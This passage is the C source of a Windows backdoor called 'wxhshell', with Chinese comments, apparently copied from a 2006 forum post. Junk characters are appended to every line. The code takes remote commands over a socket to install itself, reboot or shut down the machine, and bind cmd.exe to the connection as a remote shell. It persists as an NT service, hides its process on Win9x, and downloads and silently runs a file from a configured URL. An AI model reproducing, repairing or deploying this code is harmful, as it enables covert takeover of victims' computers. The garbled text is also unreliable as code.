    break; I {S;L  
  } &I+5  
  // 安装 7a =gH2]&  
  case 'i': { \:# L)   
    if(Install()) W#4 7h7M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SO|NaqWa  
    else @Q ]=\N:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Bw)/DM]  
    break; "/*\1v9  
    } JgKO|VO  
  // 卸载 |"X*@s\'  
  case 'r': { c?f4Q,%|  
    if(Uninstall()) Fh?gNSWq6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AW%#O\N  
    else G6q }o)[m)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~drS} V  
    break; b@gc{R}7  
    } *KZYv=s,u  
  // 显示 wxhshell 所在路径 #l\=}#\1Wb  
  case 'p': { =1FRFZI!j  
    char svExeFile[MAX_PATH]; ?/wm(uL  
    strcpy(svExeFile,"\n\r");  &=@IzmA  
      strcat(svExeFile,ExeFile); '%s.^kn  
        send(wsh,svExeFile,strlen(svExeFile),0); fIx+IL s  
    break; {nBhdM:i  
    } *)$Uvw E  
  // 重启 APn|\  
  case 'b': { #vz7y(v  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )Ys x}vSZ  
    if(Boot(REBOOT)) VZp5)-!\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -/wtI   
    else { |k )=0mCz  
    closesocket(wsh); @ wGPqg  
    ExitThread(0); dc+>m,3$  
    } ^]>O;iB?  
    break; j"t(0 m  
    } vONasD9At  
  // 关机 : Xda1S  
  case 'd': { Q,,e+exbb5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B?eCe}*f;B  
    if(Boot(SHUTDOWN)) L\6M^r >  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @+&LYy72  
    else { afCW(zH p  
    closesocket(wsh); %8RrRW  
    ExitThread(0); JinUV6cr  
    } a kkNI3  
    break; >2Y=*K,:  
    } !4ocZmj\  
  // 获取shell on!,c>nNa  
  case 's': { z 4e7PW|  
    CmdShell(wsh); u4*BX&  
    closesocket(wsh); Fx]WCQo  
    ExitThread(0); lne|5{h  
    break; $H2u.U<ip  
  } Ij7p' a  
  // 退出 : p1u(hflS  
  case 'x': { R)?*N@.s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'NbHa!  
    CloseIt(wsh); F;Spi  
    break; ^L,K& Jd  
    } 9sM!`Lz{  
  // 离开 }g@v`5  
  case 'q': { h,(26 y/s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lwR<(u31e  
    closesocket(wsh); [DYQ"A= )d  
    WSACleanup(); W Tcw4  
    exit(1); w$>u b@=  
    break; <q)#  
        } ./XYd"p  
  } HRpte=`q  
  } 7kC^ 30@T3  
nF}vw |r>x  
  // 提示信息 qRu~$K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2zX]\s?3  
} H[T?\Lq  
  } YByLoM*  
0RzEY!9g+  
  return; I !- U'{  
} S0$8@"~=  
s$IDLs,WM  
// shell模块句柄 [=C6U_vU  
int CmdShell(SOCKET sock) 4a&RYx  
{ ?C]vS_jAh  
STARTUPINFO si; -$\y_?}  
ZeroMemory(&si,sizeof(si)); Q(G#W+r  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; aI'&O^w+  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )',R[|<  
PROCESS_INFORMATION ProcessInfo; 9p85Pv [M=  
char cmdline[]="cmd"; P|`8}|}a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K&u_R  
  return 0; C-xr"]#]  
} vN}#Kc\  
n>z9K')  
// 自身启动模式 UJUEYG  
int StartFromService(void) 4>YR{  
{ F k7?xc  
typedef struct ZT*ydln  
{ ?PLPf>e  
  DWORD ExitStatus; TT%M' 5&  
  DWORD PebBaseAddress; 5{TsiZh4  
  DWORD AffinityMask; +SzU  
  DWORD BasePriority; SZ7:u895E  
  ULONG UniqueProcessId; q$L%36u~/  
  ULONG InheritedFromUniqueProcessId; #&+{mCjs  
}   PROCESS_BASIC_INFORMATION; ';k5?^T  
E#RDqL*J  
PROCNTQSIP NtQueryInformationProcess; 2F;y;l%  
TJd)K$O>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _{ue8kGt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2g `o  
Ha#= (9.  
  HANDLE             hProcess; =}^9 wP  
  PROCESS_BASIC_INFORMATION pbi; F~ty!(c  
DDQx g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g @Z))M+  
  if(NULL == hInst ) return 0; `?H]h"{7Q  
_oL?*ks  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d7^}tM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); r wL`Czs  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [|wZ77\  
n)/z0n!\  
  if (!NtQueryInformationProcess) return 0; @)+AaC#-  
$QF{iV@6d4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `cn#B BV  
  if(!hProcess) return 0; R+:yVi[F]U  
Ufj`euY  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~hH REI&  
Y|m +dT6  
  CloseHandle(hProcess); T.F!+  
%QH$ipM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B4/>H|  
if(hProcess==NULL) return 0; Mexk~z A^  
X #dmo/L8  
HMODULE hMod; E`JI>7  
char procName[255]; A|[?#S((]  
unsigned long cbNeeded; # +>oZWVc  
iXkF1r]i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2szPAuN+  
ITQA0PI SL  
  CloseHandle(hProcess); G't$Qx,IC  
je-!4r,  
if(strstr(procName,"services")) return 1; // 以服务启动 BZ#(   
4B;=kL_f  
  return 0; // 注册表启动 %Xg4b6<9  
} bP#:Oi0v`  
6- YU[HF  
// 主模块 5~U/   
int StartWxhshell(LPSTR lpCmdLine) +/7?HGf  
{ XX!%RE`M8  
  SOCKET wsl; P5V}#;v  
BOOL val=TRUE; "{+QW  
  int port=0; c]<5zyl"j1  
  struct sockaddr_in door; Es`Px_k  
g-k|>-h  
  if(wscfg.ws_autoins) Install(); *R,5h2;  
octL"t8w  
port=atoi(lpCmdLine); E~T-=ocKE  
\K{ z  
if(port<=0) port=wscfg.ws_port; *Q.>-J<S  
aK~8B_5k8  
  WSADATA data; {z|)Njhg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Q*cf(  
}&D WaO]J7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   59L\|OR  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); bWS&Yk(  
  door.sin_family = AF_INET; ?R 'r4P,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S+6.ZZ9c  
  door.sin_port = htons(port); Oszj$C(jF  
#z%fx   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MJ)RvNF  
closesocket(wsl); n&/ `  
return 1; v/plpNVp >  
} I 34>X`[o  
|-ALklXr  
  if(listen(wsl,2) == INVALID_SOCKET) {  /maJtX'  
closesocket(wsl); {S \{Ii6  
return 1; C): 1?@  
} d-ko ^Y0  
  Wxhshell(wsl); 7A7?GDW  
  WSACleanup(); ^7*11%Q  
q i;1L Kc  
return 0; >:!5*E5?  
y^ *~B(T{  
} S hWJ72c  
0mVNQxHI  
// 以NT服务方式启动 2,F .$X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z{d^-  
{ IOH}x4  
DWORD   status = 0; Zx@a/jLO[n  
  DWORD   specificError = 0xfffffff; n@i HFBb  
=qIp2c}Rx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sP~<*U.7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Fm 2AEs\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "sCRdx]_  
  serviceStatus.dwWin32ExitCode     = 0; n>XdU%&  
  serviceStatus.dwServiceSpecificExitCode = 0; b%`1cV  
  serviceStatus.dwCheckPoint       = 0; 6 "sSoj  
  serviceStatus.dwWaitHint       = 0; x,- 75  
NI]N4[8(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  (ZizuHC  
  if (hServiceStatusHandle==0) return; zw[m9N5\h  
0OE:[pR  
status = GetLastError(); 59A}}.@?m  
  if (status!=NO_ERROR) dn3y\  
{ A/s?x>QA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; LRA8p<Rs  
    serviceStatus.dwCheckPoint       = 0; q9_OGd|P  
    serviceStatus.dwWaitHint       = 0; W!(zT6#  
    serviceStatus.dwWin32ExitCode     = status; KpGhQdR#  
    serviceStatus.dwServiceSpecificExitCode = specificError; vE?G7%,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q} >%8;nm  
    return; b$jo Y*< 6  
  } NLqzi%s  
}Y\%RA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; R 9\*#c  
  serviceStatus.dwCheckPoint       = 0; z:*|a+cy  
  serviceStatus.dwWaitHint       = 0; ,O(hMI85]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZE}}W _  
} ~>|ziHx  
4B.*g-L   
// 处理NT服务事件,比如:启动、停止 /8S>;5hvK@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L0o\J` :  
{ y N-9[P8C  
switch(fdwControl) w?[upn:K  
{ ?caSb =f  
case SERVICE_CONTROL_STOP: mzgfFNm^G)  
  serviceStatus.dwWin32ExitCode = 0; hgq;`_;1,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4WB0Pt{  
  serviceStatus.dwCheckPoint   = 0; {IjR^J=k  
  serviceStatus.dwWaitHint     = 0; <P_-s*b  
  { Dd|VMW=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); mfr|:i  
  } zb3t IRH  
  return; eR>oq,  
case SERVICE_CONTROL_PAUSE: g_bLl)g<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `a/`,N  
  break; Pm7}"D'/  
case SERVICE_CONTROL_CONTINUE: Pq$n5fZC !  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F== p<lrs  
  break; ^\m![T\bX  
case SERVICE_CONTROL_INTERROGATE: At;LO9T3z  
  break; ~} ~4  
}; flx(HJK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SpBy3wd  
} #'`{Qv0,  
R=?[Nz  
// 标准应用程序主函数 Mtx4'WZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y~V(aih}D  
{ *un^u-;  
DlJo^|5  
// 获取操作系统版本  bN.Pex  
OsIsNt=GetOsVer(); x+]"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8@R|Km5h  
6S #Cl>v  
  // 从命令行安装 <_+X 88  
  if(strpbrk(lpCmdLine,"iI")) Install(); zt%Mx>V@  
|s_GlJV.  
  // 下载执行文件 /dHF6yW  
if(wscfg.ws_downexe) { eMzk3eOJ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !)$Zp\Sg  
  WinExec(wscfg.ws_filenam,SW_HIDE); '3;b@g,  
} J}t%p(mb  
b.938#3,  
if(!OsIsNt) { vDvFL<`vmD  
// 如果时win9x,隐藏进程并且设置为注册表启动 MQ2_`pi  
HideProc(); j<$2hiI/?&  
StartWxhshell(lpCmdLine); 2an f$^[  
} ssL\g`xe  
else \)e'`29;  
  if(StartFromService()) \2z>?i)  
  // 以服务方式启动 qQa}wcU'9p  
  StartServiceCtrlDispatcher(DispatchTable); -\MG}5?!  
else $cg cX  
  // 普通方式启动 PvL[e"p  
  StartWxhshell(lpCmdLine); 6u%&<")4HP  
~J]qP#C  
return 0; UxBpdm%dvP  
}
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只看该作者 1 发表于: 2006-10-10
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